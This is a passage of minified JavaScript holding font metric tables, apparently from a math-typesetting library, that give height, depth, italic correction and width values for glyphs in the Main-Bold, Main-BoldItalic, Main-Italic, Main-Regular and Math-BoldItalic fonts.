,.69444,0,0,.95833],36:[.05556,.75,0,0,.575],37:[.05556,.75,0,0,.95833],38:[0,.69444,0,0,.89444],39:[0,.69444,0,0,.31944],40:[.25,.75,0,0,.44722],41:[.25,.75,0,0,.44722],42:[0,.75,0,0,.575],43:[.13333,.63333,0,0,.89444],44:[.19444,.15556,0,0,.31944],45:[0,.44444,0,0,.38333],46:[0,.15556,0,0,.31944],47:[.25,.75,0,0,.575],48:[0,.64444,0,0,.575],49:[0,.64444,0,0,.575],50:[0,.64444,0,0,.575],51:[0,.64444,0,0,.575],52:[0,.64444,0,0,.575],53:[0,.64444,0,0,.575],54:[0,.64444,0,0,.575],55:[0,.64444,0,0,.575],56:[0,.64444,0,0,.575],57:[0,.64444,0,0,.575],58:[0,.44444,0,0,.31944],59:[.19444,.44444,0,0,.31944],60:[.08556,.58556,0,0,.89444],61:[-.10889,.39111,0,0,.89444],62:[.08556,.58556,0,0,.89444],63:[0,.69444,0,0,.54305],64:[0,.69444,0,0,.89444],65:[0,.68611,0,0,.86944],66:[0,.68611,0,0,.81805],67:[0,.68611,0,0,.83055],68:[0,.68611,0,0,.88194],69:[0,.68611,0,0,.75555],70:[0,.68611,0,0,.72361],71:[0,.68611,0,0,.90416],72:[0,.68611,0,0,.9],73:[0,.68611,0,0,.43611],74:[0,.68611,0,0,.59444],75:[0,.68611,0,0,.90138],76:[0,.68611,0,0,.69166],77:[0,.68611,0,0,1.09166],78:[0,.68611,0,0,.9],79:[0,.68611,0,0,.86388],80:[0,.68611,0,0,.78611],81:[.19444,.68611,0,0,.86388],82:[0,.68611,0,0,.8625],83:[0,.68611,0,0,.63889],84:[0,.68611,0,0,.8],85:[0,.68611,0,0,.88472],86:[0,.68611,.01597,0,.86944],87:[0,.68611,.01597,0,1.18888],88:[0,.68611,0,0,.86944],89:[0,.68611,.02875,0,.86944],90:[0,.68611,0,0,.70277],91:[.25,.75,0,0,.31944],92:[.25,.75,0,0,.575],93:[.25,.75,0,0,.31944],94:[0,.69444,0,0,.575],95:[.31,.13444,.03194,0,.575],97:[0,.44444,0,0,.55902],98:[0,.69444,0,0,.63889],99:[0,.44444,0,0,.51111],100:[0,.69444,0,0,.63889],101:[0,.44444,0,0,.52708],102:[0,.69444,.10903,0,.35139],103:[.19444,.44444,.01597,0,.575],104:[0,.69444,0,0,.63889],105:[0,.69444,0,0,.31944],106:[.19444,.69444,0,0,.35139],107:[0,.69444,0,0,.60694],108:[0,.69444,0,0,.31944],109:[0,.44444,0,0,.95833],110:[0,.44444,0,0,.63889],111:[0,.44444,0,0,.575],112:[.19444,.44444,0,0,.63889],113:[.19444,.44444,0,0,.60694],114:[0,.44444,0,0,.47361],115:[0,.44444,0,0,.45361],116:[0,.63492,0,0,.44722],117:[0,.44444,0,0,.63889],118:[0,.44444,.01597,0,.60694],119:[0,.44444,.01597,0,.83055],120:[0,.44444,0,0,.60694],121:[.19444,.44444,.01597,0,.60694],122:[0,.44444,0,0,.51111],123:[.25,.75,0,0,.575],124:[.25,.75,0,0,.31944],125:[.25,.75,0,0,.575],126:[.35,.34444,0,0,.575],160:[0,0,0,0,.25],163:[0,.69444,0,0,.86853],168:[0,.69444,0,0,.575],172:[0,.44444,0,0,.76666],176:[0,.69444,0,0,.86944],177:[.13333,.63333,0,0,.89444],184:[.17014,0,0,0,.51111],198:[0,.68611,0,0,1.04166],215:[.13333,.63333,0,0,.89444],216:[.04861,.73472,0,0,.89444],223:[0,.69444,0,0,.59722],230:[0,.44444,0,0,.83055],247:[.13333,.63333,0,0,.89444],248:[.09722,.54167,0,0,.575],305:[0,.44444,0,0,.31944],338:[0,.68611,0,0,1.16944],339:[0,.44444,0,0,.89444],567:[.19444,.44444,0,0,.35139],710:[0,.69444,0,0,.575],711:[0,.63194,0,0,.575],713:[0,.59611,0,0,.575],714:[0,.69444,0,0,.575],715:[0,.69444,0,0,.575],728:[0,.69444,0,0,.575],729:[0,.69444,0,0,.31944],730:[0,.69444,0,0,.86944],732:[0,.69444,0,0,.575],733:[0,.69444,0,0,.575],915:[0,.68611,0,0,.69166],916:[0,.68611,0,0,.95833],920:[0,.68611,0,0,.89444],923:[0,.68611,0,0,.80555],926:[0,.68611,0,0,.76666],928:[0,.68611,0,0,.9],931:[0,.68611,0,0,.83055],933:[0,.68611,0,0,.89444],934:[0,.68611,0,0,.83055],936:[0,.68611,0,0,.89444],937:[0,.68611,0,0,.83055],8211:[0,.44444,.03194,0,.575],8212:[0,.44444,.03194,0,1.14999],8216:[0,.69444,0,0,.31944],8217:[0,.69444,0,0,.31944],8220:[0,.69444,0,0,.60278],8221:[0,.69444,0,0,.60278],8224:[.19444,.69444,0,0,.51111],8225:[.19444,.69444,0,0,.51111],8242:[0,.55556,0,0,.34444],8407:[0,.72444,.15486,0,.575],8463:[0,.69444,0,0,.66759],8465:[0,.69444,0,0,.83055],8467:[0,.69444,0,0,.47361],8472:[.19444,.44444,0,0,.74027],8476:[0,.69444,0,0,.83055],8501:[0,.69444,0,0,.70277],8592:[-.10889,.39111,0,0,1.14999],8593:[.19444,.69444,0,0,.575],8594:[-.10889,.39111,0,0,1.14999],8595:[.19444,.69444,0,0,.575],8596:[-.10889,.39111,0,0,1.14999],8597:[.25,.75,0,0,.575],8598:[.19444,.69444,0,0,1.14999],8599:[.19444,.69444,0,0,1.14999],8600:[.19444,.69444,0,0,1.14999],8601:[.19444,.69444,0,0,1.14999],8636:[-.10889,.39111,0,0,1.14999],8637:[-.10889,.39111,0,0,1.14999],8640:[-.10889,.39111,0,0,1.14999],8641:[-.10889,.39111,0,0,1.14999],8656:[-.10889,.39111,0,0,1.14999],8657:[.19444,.69444,0,0,.70277],8658:[-.10889,.39111,0,0,1.14999],8659:[.19444,.69444,0,0,.70277],8660:[-.10889,.39111,0,0,1.14999],8661:[.25,.75,0,0,.70277],8704:[0,.69444,0,0,.63889],8706:[0,.69444,.06389,0,.62847],8707:[0,.69444,0,0,.63889],8709:[.05556,.75,0,0,.575],8711:[0,.68611,0,0,.95833],8712:[.08556,.58556,0,0,.76666],8715:[.08556,.58556,0,0,.76666],8722:[.13333,.63333,0,0,.89444],8723:[.13333,.63333,0,0,.89444],8725:[.25,.75,0,0,.575],8726:[.25,.75,0,0,.575],8727:[-.02778,.47222,0,0,.575],8728:[-.02639,.47361,0,0,.575],8729:[-.02639,.47361,0,0,.575],8730:[.18,.82,0,0,.95833],8733:[0,.44444,0,0,.89444],8734:[0,.44444,0,0,1.14999],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.31944],8741:[.25,.75,0,0,.575],8743:[0,.55556,0,0,.76666],8744:[0,.55556,0,0,.76666],8745:[0,.55556,0,0,.76666],8746:[0,.55556,0,0,.76666],8747:[.19444,.69444,.12778,0,.56875],8764:[-.10889,.39111,0,0,.89444],8768:[.19444,.69444,0,0,.31944],8771:[.00222,.50222,0,0,.89444],8773:[.027,.638,0,0,.894],8776:[.02444,.52444,0,0,.89444],8781:[.00222,.50222,0,0,.89444],8801:[.00222,.50222,0,0,.89444],8804:[.19667,.69667,0,0,.89444],8805:[.19667,.69667,0,0,.89444],8810:[.08556,.58556,0,0,1.14999],8811:[.08556,.58556,0,0,1.14999],8826:[.08556,.58556,0,0,.89444],8827:[.08556,.58556,0,0,.89444],8834:[.08556,.58556,0,0,.89444],8835:[.08556,.58556,0,0,.89444],8838:[.19667,.69667,0,0,.89444],8839:[.19667,.69667,0,0,.89444],8846:[0,.55556,0,0,.76666],8849:[.19667,.69667,0,0,.89444],8850:[.19667,.69667,0,0,.89444],8851:[0,.55556,0,0,.76666],8852:[0,.55556,0,0,.76666],8853:[.13333,.63333,0,0,.89444],8854:[.13333,.63333,0,0,.89444],8855:[.13333,.63333,0,0,.89444],8856:[.13333,.63333,0,0,.89444],8857:[.13333,.63333,0,0,.89444],8866:[0,.69444,0,0,.70277],8867:[0,.69444,0,0,.70277],8868:[0,.69444,0,0,.89444],8869:[0,.69444,0,0,.89444],8900:[-.02639,.47361,0,0,.575],8901:[-.02639,.47361,0,0,.31944],8902:[-.02778,.47222,0,0,.575],8968:[.25,.75,0,0,.51111],8969:[.25,.75,0,0,.51111],8970:[.25,.75,0,0,.51111],8971:[.25,.75,0,0,.51111],8994:[-.13889,.36111,0,0,1.14999],8995:[-.13889,.36111,0,0,1.14999],9651:[.19444,.69444,0,0,1.02222],9657:[-.02778,.47222,0,0,.575],9661:[.19444,.69444,0,0,1.02222],9667:[-.02778,.47222,0,0,.575],9711:[.19444,.69444,0,0,1.14999],9824:[.12963,.69444,0,0,.89444],9825:[.12963,.69444,0,0,.89444],9826:[.12963,.69444,0,0,.89444],9827:[.12963,.69444,0,0,.89444],9837:[0,.75,0,0,.44722],9838:[.19444,.69444,0,0,.44722],9839:[.19444,.69444,0,0,.44722],10216:[.25,.75,0,0,.44722],10217:[.25,.75,0,0,.44722],10815:[0,.68611,0,0,.9],10927:[.19667,.69667,0,0,.89444],10928:[.19667,.69667,0,0,.89444],57376:[.19444,.69444,0,0,0]},"Main-BoldItalic":{32:[0,0,0,0,.25],33:[0,.69444,.11417,0,.38611],34:[0,.69444,.07939,0,.62055],35:[.19444,.69444,.06833,0,.94444],37:[.05556,.75,.12861,0,.94444],38:[0,.69444,.08528,0,.88555],39:[0,.69444,.12945,0,.35555],40:[.25,.75,.15806,0,.47333],41:[.25,.75,.03306,0,.47333],42:[0,.75,.14333,0,.59111],43:[.10333,.60333,.03306,0,.88555],44:[.19444,.14722,0,0,.35555],45:[0,.44444,.02611,0,.41444],46:[0,.14722,0,0,.35555],47:[.25,.75,.15806,0,.59111],48:[0,.64444,.13167,0,.59111],49:[0,.64444,.13167,0,.59111],50:[0,.64444,.13167,0,.59111],51:[0,.64444,.13167,0,.59111],52:[.19444,.64444,.13167,0,.59111],53:[0,.64444,.13167,0,.59111],54:[0,.64444,.13167,0,.59111],55:[.19444,.64444,.13167,0,.59111],56:[0,.64444,.13167,0,.59111],57:[0,.64444,.13167,0,.59111],58:[0,.44444,.06695,0,.35555],59:[.19444,.44444,.06695,0,.35555],61:[-.10889,.39111,.06833,0,.88555],63:[0,.69444,.11472,0,.59111],64:[0,.69444,.09208,0,.88555],65:[0,.68611,0,0,.86555],66:[0,.68611,.0992,0,.81666],67:[0,.68611,.14208,0,.82666],68:[0,.68611,.09062,0,.87555],69:[0,.68611,.11431,0,.75666],70:[0,.68611,.12903,0,.72722],71:[0,.68611,.07347,0,.89527],72:[0,.68611,.17208,0,.8961],73:[0,.68611,.15681,0,.47166],74:[0,.68611,.145,0,.61055],75:[0,.68611,.14208,0,.89499],76:[0,.68611,0,0,.69777],77:[0,.68611,.17208,0,1.07277],78:[0,.68611,.17208,0,.8961],79:[0,.68611,.09062,0,.85499],80:[0,.68611,.0992,0,.78721],81:[.19444,.68611,.09062,0,.85499],82:[0,.68611,.02559,0,.85944],83:[0,.68611,.11264,0,.64999],84:[0,.68611,.12903,0,.7961],85:[0,.68611,.17208,0,.88083],86:[0,.68611,.18625,0,.86555],87:[0,.68611,.18625,0,1.15999],88:[0,.68611,.15681,0,.86555],89:[0,.68611,.19803,0,.86555],90:[0,.68611,.14208,0,.70888],91:[.25,.75,.1875,0,.35611],93:[.25,.75,.09972,0,.35611],94:[0,.69444,.06709,0,.59111],95:[.31,.13444,.09811,0,.59111],97:[0,.44444,.09426,0,.59111],98:[0,.69444,.07861,0,.53222],99:[0,.44444,.05222,0,.53222],100:[0,.69444,.10861,0,.59111],101:[0,.44444,.085,0,.53222],102:[.19444,.69444,.21778,0,.4],103:[.19444,.44444,.105,0,.53222],104:[0,.69444,.09426,0,.59111],105:[0,.69326,.11387,0,.35555],106:[.19444,.69326,.1672,0,.35555],107:[0,.69444,.11111,0,.53222],108:[0,.69444,.10861,0,.29666],109:[0,.44444,.09426,0,.94444],110:[0,.44444,.09426,0,.64999],111:[0,.44444,.07861,0,.59111],112:[.19444,.44444,.07861,0,.59111],113:[.19444,.44444,.105,0,.53222],114:[0,.44444,.11111,0,.50167],115:[0,.44444,.08167,0,.48694],116:[0,.63492,.09639,0,.385],117:[0,.44444,.09426,0,.62055],118:[0,.44444,.11111,0,.53222],119:[0,.44444,.11111,0,.76777],120:[0,.44444,.12583,0,.56055],121:[.19444,.44444,.105,0,.56166],122:[0,.44444,.13889,0,.49055],126:[.35,.34444,.11472,0,.59111],160:[0,0,0,0,.25],168:[0,.69444,.11473,0,.59111],176:[0,.69444,0,0,.94888],184:[.17014,0,0,0,.53222],198:[0,.68611,.11431,0,1.02277],216:[.04861,.73472,.09062,0,.88555],223:[.19444,.69444,.09736,0,.665],230:[0,.44444,.085,0,.82666],248:[.09722,.54167,.09458,0,.59111],305:[0,.44444,.09426,0,.35555],338:[0,.68611,.11431,0,1.14054],339:[0,.44444,.085,0,.82666],567:[.19444,.44444,.04611,0,.385],710:[0,.69444,.06709,0,.59111],711:[0,.63194,.08271,0,.59111],713:[0,.59444,.10444,0,.59111],714:[0,.69444,.08528,0,.59111],715:[0,.69444,0,0,.59111],728:[0,.69444,.10333,0,.59111],729:[0,.69444,.12945,0,.35555],730:[0,.69444,0,0,.94888],732:[0,.69444,.11472,0,.59111],733:[0,.69444,.11472,0,.59111],915:[0,.68611,.12903,0,.69777],916:[0,.68611,0,0,.94444],920:[0,.68611,.09062,0,.88555],923:[0,.68611,0,0,.80666],926:[0,.68611,.15092,0,.76777],928:[0,.68611,.17208,0,.8961],931:[0,.68611,.11431,0,.82666],933:[0,.68611,.10778,0,.88555],934:[0,.68611,.05632,0,.82666],936:[0,.68611,.10778,0,.88555],937:[0,.68611,.0992,0,.82666],8211:[0,.44444,.09811,0,.59111],8212:[0,.44444,.09811,0,1.18221],8216:[0,.69444,.12945,0,.35555],8217:[0,.69444,.12945,0,.35555],8220:[0,.69444,.16772,0,.62055],8221:[0,.69444,.07939,0,.62055]},"Main-Italic":{32:[0,0,0,0,.25],33:[0,.69444,.12417,0,.30667],34:[0,.69444,.06961,0,.51444],35:[.19444,.69444,.06616,0,.81777],37:[.05556,.75,.13639,0,.81777],38:[0,.69444,.09694,0,.76666],39:[0,.69444,.12417,0,.30667],40:[.25,.75,.16194,0,.40889],41:[.25,.75,.03694,0,.40889],42:[0,.75,.14917,0,.51111],43:[.05667,.56167,.03694,0,.76666],44:[.19444,.10556,0,0,.30667],45:[0,.43056,.02826,0,.35778],46:[0,.10556,0,0,.30667],47:[.25,.75,.16194,0,.51111],48:[0,.64444,.13556,0,.51111],49:[0,.64444,.13556,0,.51111],50:[0,.64444,.13556,0,.51111],51:[0,.64444,.13556,0,.51111],52:[.19444,.64444,.13556,0,.51111],53:[0,.64444,.13556,0,.51111],54:[0,.64444,.13556,0,.51111],55:[.19444,.64444,.13556,0,.51111],56:[0,.64444,.13556,0,.51111],57:[0,.64444,.13556,0,.51111],58:[0,.43056,.0582,0,.30667],59:[.19444,.43056,.0582,0,.30667],61:[-.13313,.36687,.06616,0,.76666],63:[0,.69444,.1225,0,.51111],64:[0,.69444,.09597,0,.76666],65:[0,.68333,0,0,.74333],66:[0,.68333,.10257,0,.70389],67:[0,.68333,.14528,0,.71555],68:[0,.68333,.09403,0,.755],69:[0,.68333,.12028,0,.67833],70:[0,.68333,.13305,0,.65277],71:[0,.68333,.08722,0,.77361],72:[0,.68333,.16389,0,.74333],73:[0,.68333,.15806,0,.38555],74:[0,.68333,.14028,0,.525],75:[0,.68333,.14528,0,.76888],76:[0,.68333,0,0,.62722],77:[0,.68333,.16389,0,.89666],78:[0,.68333,.16389,0,.74333],79:[0,.68333,.09403,0,.76666],80:[0,.68333,.10257,0,.67833],81:[.19444,.68333,.09403,0,.76666],82:[0,.68333,.03868,0,.72944],83:[0,.68333,.11972,0,.56222],84:[0,.68333,.13305,0,.71555],85:[0,.68333,.16389,0,.74333],86:[0,.68333,.18361,0,.74333],87:[0,.68333,.18361,0,.99888],88:[0,.68333,.15806,0,.74333],89:[0,.68333,.19383,0,.74333],90:[0,.68333,.14528,0,.61333],91:[.25,.75,.1875,0,.30667],93:[.25,.75,.10528,0,.30667],94:[0,.69444,.06646,0,.51111],95:[.31,.12056,.09208,0,.51111],97:[0,.43056,.07671,0,.51111],98:[0,.69444,.06312,0,.46],99:[0,.43056,.05653,0,.46],100:[0,.69444,.10333,0,.51111],101:[0,.43056,.07514,0,.46],102:[.19444,.69444,.21194,0,.30667],103:[.19444,.43056,.08847,0,.46],104:[0,.69444,.07671,0,.51111],105:[0,.65536,.1019,0,.30667],106:[.19444,.65536,.14467,0,.30667],107:[0,.69444,.10764,0,.46],108:[0,.69444,.10333,0,.25555],109:[0,.43056,.07671,0,.81777],110:[0,.43056,.07671,0,.56222],111:[0,.43056,.06312,0,.51111],112:[.19444,.43056,.06312,0,.51111],113:[.19444,.43056,.08847,0,.46],114:[0,.43056,.10764,0,.42166],115:[0,.43056,.08208,0,.40889],116:[0,.61508,.09486,0,.33222],117:[0,.43056,.07671,0,.53666],118:[0,.43056,.10764,0,.46],119:[0,.43056,.10764,0,.66444],120:[0,.43056,.12042,0,.46389],121:[.19444,.43056,.08847,0,.48555],122:[0,.43056,.12292,0,.40889],126:[.35,.31786,.11585,0,.51111],160:[0,0,0,0,.25],168:[0,.66786,.10474,0,.51111],176:[0,.69444,0,0,.83129],184:[.17014,0,0,0,.46],198:[0,.68333,.12028,0,.88277],216:[.04861,.73194,.09403,0,.76666],223:[.19444,.69444,.10514,0,.53666],230:[0,.43056,.07514,0,.71555],248:[.09722,.52778,.09194,0,.51111],338:[0,.68333,.12028,0,.98499],339:[0,.43056,.07514,0,.71555],710:[0,.69444,.06646,0,.51111],711:[0,.62847,.08295,0,.51111],713:[0,.56167,.10333,0,.51111],714:[0,.69444,.09694,0,.51111],715:[0,.69444,0,0,.51111],728:[0,.69444,.10806,0,.51111],729:[0,.66786,.11752,0,.30667],730:[0,.69444,0,0,.83129],732:[0,.66786,.11585,0,.51111],733:[0,.69444,.1225,0,.51111],915:[0,.68333,.13305,0,.62722],916:[0,.68333,0,0,.81777],920:[0,.68333,.09403,0,.76666],923:[0,.68333,0,0,.69222],926:[0,.68333,.15294,0,.66444],928:[0,.68333,.16389,0,.74333],931:[0,.68333,.12028,0,.71555],933:[0,.68333,.11111,0,.76666],934:[0,.68333,.05986,0,.71555],936:[0,.68333,.11111,0,.76666],937:[0,.68333,.10257,0,.71555],8211:[0,.43056,.09208,0,.51111],8212:[0,.43056,.09208,0,1.02222],8216:[0,.69444,.12417,0,.30667],8217:[0,.69444,.12417,0,.30667],8220:[0,.69444,.1685,0,.51444],8221:[0,.69444,.06961,0,.51444],8463:[0,.68889,0,0,.54028]},"Main-Regular":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.27778],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.77778],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.19444,.10556,0,0,.27778],45:[0,.43056,0,0,.33333],46:[0,.10556,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.64444,0,0,.5],49:[0,.64444,0,0,.5],50:[0,.64444,0,0,.5],51:[0,.64444,0,0,.5],52:[0,.64444,0,0,.5],53:[0,.64444,0,0,.5],54:[0,.64444,0,0,.5],55:[0,.64444,0,0,.5],56:[0,.64444,0,0,.5],57:[0,.64444,0,0,.5],58:[0,.43056,0,0,.27778],59:[.19444,.43056,0,0,.27778],60:[.0391,.5391,0,0,.77778],61:[-.13313,.36687,0,0,.77778],62:[.0391,.5391,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.77778],65:[0,.68333,0,0,.75],66:[0,.68333,0,0,.70834],67:[0,.68333,0,0,.72222],68:[0,.68333,0,0,.76389],69:[0,.68333,0,0,.68056],70:[0,.68333,0,0,.65278],71:[0,.68333,0,0,.78472],72:[0,.68333,0,0,.75],73:[0,.68333,0,0,.36111],74:[0,.68333,0,0,.51389],75:[0,.68333,0,0,.77778],76:[0,.68333,0,0,.625],77:[0,.68333,0,0,.91667],78:[0,.68333,0,0,.75],79:[0,.68333,0,0,.77778],80:[0,.68333,0,0,.68056],81:[.19444,.68333,0,0,.77778],82:[0,.68333,0,0,.73611],83:[0,.68333,0,0,.55556],84:[0,.68333,0,0,.72222],85:[0,.68333,0,0,.75],86:[0,.68333,.01389,0,.75],87:[0,.68333,.01389,0,1.02778],88:[0,.68333,0,0,.75],89:[0,.68333,.025,0,.75],90:[0,.68333,0,0,.61111],91:[.25,.75,0,0,.27778],92:[.25,.75,0,0,.5],93:[.25,.75,0,0,.27778],94:[0,.69444,0,0,.5],95:[.31,.12056,.02778,0,.5],97:[0,.43056,0,0,.5],98:[0,.69444,0,0,.55556],99:[0,.43056,0,0,.44445],100:[0,.69444,0,0,.55556],101:[0,.43056,0,0,.44445],102:[0,.69444,.07778,0,.30556],103:[.19444,.43056,.01389,0,.5],104:[0,.69444,0,0,.55556],105:[0,.66786,0,0,.27778],106:[.19444,.66786,0,0,.30556],107:[0,.69444,0,0,.52778],108:[0,.69444,0,0,.27778],109:[0,.43056,0,0,.83334],110:[0,.43056,0,0,.55556],111:[0,.43056,0,0,.5],112:[.19444,.43056,0,0,.55556],113:[.19444,.43056,0,0,.52778],114:[0,.43056,0,0,.39167],115:[0,.43056,0,0,.39445],116:[0,.61508,0,0,.38889],117:[0,.43056,0,0,.55556],118:[0,.43056,.01389,0,.52778],119:[0,.43056,.01389,0,.72222],120:[0,.43056,0,0,.52778],121:[.19444,.43056,.01389,0,.52778],122:[0,.43056,0,0,.44445],123:[.25,.75,0,0,.5],124:[.25,.75,0,0,.27778],125:[.25,.75,0,0,.5],126:[.35,.31786,0,0,.5],160:[0,0,0,0,.25],163:[0,.69444,0,0,.76909],167:[.19444,.69444,0,0,.44445],168:[0,.66786,0,0,.5],172:[0,.43056,0,0,.66667],176:[0,.69444,0,0,.75],177:[.08333,.58333,0,0,.77778],182:[.19444,.69444,0,0,.61111],184:[.17014,0,0,0,.44445],198:[0,.68333,0,0,.90278],215:[.08333,.58333,0,0,.77778],216:[.04861,.73194,0,0,.77778],223:[0,.69444,0,0,.5],230:[0,.43056,0,0,.72222],247:[.08333,.58333,0,0,.77778],248:[.09722,.52778,0,0,.5],305:[0,.43056,0,0,.27778],338:[0,.68333,0,0,1.01389],339:[0,.43056,0,0,.77778],567:[.19444,.43056,0,0,.30556],710:[0,.69444,0,0,.5],711:[0,.62847,0,0,.5],713:[0,.56778,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.66786,0,0,.27778],730:[0,.69444,0,0,.75],732:[0,.66786,0,0,.5],733:[0,.69444,0,0,.5],915:[0,.68333,0,0,.625],916:[0,.68333,0,0,.83334],920:[0,.68333,0,0,.77778],923:[0,.68333,0,0,.69445],926:[0,.68333,0,0,.66667],928:[0,.68333,0,0,.75],931:[0,.68333,0,0,.72222],933:[0,.68333,0,0,.77778],934:[0,.68333,0,0,.72222],936:[0,.68333,0,0,.77778],937:[0,.68333,0,0,.72222],8211:[0,.43056,.02778,0,.5],8212:[0,.43056,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5],8224:[.19444,.69444,0,0,.44445],8225:[.19444,.69444,0,0,.44445],8230:[0,.123,0,0,1.172],8242:[0,.55556,0,0,.275],8407:[0,.71444,.15382,0,.5],8463:[0,.68889,0,0,.54028],8465:[0,.69444,0,0,.72222],8467:[0,.69444,0,.11111,.41667],8472:[.19444,.43056,0,.11111,.63646],8476:[0,.69444,0,0,.72222],8501:[0,.69444,0,0,.61111],8592:[-.13313,.36687,0,0,1],8593:[.19444,.69444,0,0,.5],8594:[-.13313,.36687,0,0,1],8595:[.19444,.69444,0,0,.5],8596:[-.13313,.36687,0,0,1],8597:[.25,.75,0,0,.5],8598:[.19444,.69444,0,0,1],8599:[.19444,.69444,0,0,1],8600:[.19444,.69444,0,0,1],8601:[.19444,.69444,0,0,1],8614:[.011,.511,0,0,1],8617:[.011,.511,0,0,1.126],8618:[.011,.511,0,0,1.126],8636:[-.13313,.36687,0,0,1],8637:[-.13313,.36687,0,0,1],8640:[-.13313,.36687,0,0,1],8641:[-.13313,.36687,0,0,1],8652:[.011,.671,0,0,1],8656:[-.13313,.36687,0,0,1],8657:[.19444,.69444,0,0,.61111],8658:[-.13313,.36687,0,0,1],8659:[.19444,.69444,0,0,.61111],8660:[-.13313,.36687,0,0,1],8661:[.25,.75,0,0,.61111],8704:[0,.69444,0,0,.55556],8706:[0,.69444,.05556,.08334,.5309],8707:[0,.69444,0,0,.55556],8709:[.05556,.75,0,0,.5],8711:[0,.68333,0,0,.83334],8712:[.0391,.5391,0,0,.66667],8715:[.0391,.5391,0,0,.66667],8722:[.08333,.58333,0,0,.77778],8723:[.08333,.58333,0,0,.77778],8725:[.25,.75,0,0,.5],8726:[.25,.75,0,0,.5],8727:[-.03472,.46528,0,0,.5],8728:[-.05555,.44445,0,0,.5],8729:[-.05555,.44445,0,0,.5],8730:[.2,.8,0,0,.83334],8733:[0,.43056,0,0,.77778],8734:[0,.43056,0,0,1],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.27778],8741:[.25,.75,0,0,.5],8743:[0,.55556,0,0,.66667],8744:[0,.55556,0,0,.66667],8745:[0,.55556,0,0,.66667],8746:[0,.55556,0,0,.66667],8747:[.19444,.69444,.11111,0,.41667],8764:[-.13313,.36687,0,0,.77778],8768:[.19444,.69444,0,0,.27778],8771:[-.03625,.46375,0,0,.77778],8773:[-.022,.589,0,0,.778],8776:[-.01688,.48312,0,0,.77778],8781:[-.03625,.46375,0,0,.77778],8784:[-.133,.673,0,0,.778],8801:[-.03625,.46375,0,0,.77778],8804:[.13597,.63597,0,0,.77778],8805:[.13597,.63597,0,0,.77778],8810:[.0391,.5391,0,0,1],8811:[.0391,.5391,0,0,1],8826:[.0391,.5391,0,0,.77778],8827:[.0391,.5391,0,0,.77778],8834:[.0391,.5391,0,0,.77778],8835:[.0391,.5391,0,0,.77778],8838:[.13597,.63597,0,0,.77778],8839:[.13597,.63597,0,0,.77778],8846:[0,.55556,0,0,.66667],8849:[.13597,.63597,0,0,.77778],8850:[.13597,.63597,0,0,.77778],8851:[0,.55556,0,0,.66667],8852:[0,.55556,0,0,.66667],8853:[.08333,.58333,0,0,.77778],8854:[.08333,.58333,0,0,.77778],8855:[.08333,.58333,0,0,.77778],8856:[.08333,.58333,0,0,.77778],8857:[.08333,.58333,0,0,.77778],8866:[0,.69444,0,0,.61111],8867:[0,.69444,0,0,.61111],8868:[0,.69444,0,0,.77778],8869:[0,.69444,0,0,.77778],8872:[.249,.75,0,0,.867],8900:[-.05555,.44445,0,0,.5],8901:[-.05555,.44445,0,0,.27778],8902:[-.03472,.46528,0,0,.5],8904:[.005,.505,0,0,.9],8942:[.03,.903,0,0,.278],8943:[-.19,.313,0,0,1.172],8945:[-.1,.823,0,0,1.282],8968:[.25,.75,0,0,.44445],8969:[.25,.75,0,0,.44445],8970:[.25,.75,0,0,.44445],8971:[.25,.75,0,0,.44445],8994:[-.14236,.35764,0,0,1],8995:[-.14236,.35764,0,0,1],9136:[.244,.744,0,0,.412],9137:[.244,.745,0,0,.412],9651:[.19444,.69444,0,0,.88889],9657:[-.03472,.46528,0,0,.5],9661:[.19444,.69444,0,0,.88889],9667:[-.03472,.46528,0,0,.5],9711:[.19444,.69444,0,0,1],9824:[.12963,.69444,0,0,.77778],9825:[.12963,.69444,0,0,.77778],9826:[.12963,.69444,0,0,.77778],9827:[.12963,.69444,0,0,.77778],9837:[0,.75,0,0,.38889],9838:[.19444,.69444,0,0,.38889],9839:[.19444,.69444,0,0,.38889],10216:[.25,.75,0,0,.38889],10217:[.25,.75,0,0,.38889],10222:[.244,.744,0,0,.412],10223:[.244,.745,0,0,.412],10229:[.011,.511,0,0,1.609],10230:[.011,.511,0,0,1.638],10231:[.011,.511,0,0,1.859],10232:[.024,.525,0,0,1.609],10233:[.024,.525,0,0,1.638],10234:[.024,.525,0,0,1.858],10236:[.011,.511,0,0,1.638],10815:[0,.68333,0,0,.75],10927:[.13597,.63597,0,0,.77778],10928:[.13597,.63597,0,0,.77778],57376:[.19444,.69444,0,0,0]},"Math-BoldItalic":{32:[0,0,0,0,.25],48:[0,.44444,0,0,.575],49:[0,.44444,0,0,.575],50:[0,.44444,0,0,.575],51:[.19444,.44444,0,0,.575],52:[.19444,.44444,0,0,.575],53:[.19444,.44444,0,0,.575],54:[0,.64444,0,0,.575],55:[.19444,.44444,0,0,.575],56:[0,.64444,0,0,.575],57:[.19444,.44444,0,0,.575],65:[0,.68611,0,0,.86944],66:[0,.68611,.04835,0,.8664],67:[0,.68611,.06979,0,.81694],68:[0,.68611,.03194,0,.93812],69:[0,.68611,.05451,0,.81007],70:[0,.68611,.15972,0,.68889],71:[0,.68611,0,0,.88673],72:[0,.68611,.08229,0,.98229],73:[0,.68611,.07778,0,.51111],74:[0,.68611,.10069,0,.63125],75:[0,.68611,.06979,0,.97118],76:[0,.68611,0,0,.75555],77:[0,.68611,.11424,0,1.14201],78:[0,.68611,.11424,0,.95034],79:[0,.68611,.03194,0,.83666],80:[0,.68611,.15972,0,.72309],81:[.19444,.68611,0,0,.86861],82:[0,.68611,.00421,0,.87235],83:[0,.68611,.05382,0,.69271],84:[0,.68611,.15972,0,.63663],85:[0,.68611,.11424,0,.80027],86:[0,.68611,.25555,0,.67778],87:[0,.68611,.15972,0,1.09305],88:[0,.68611,.07778,0,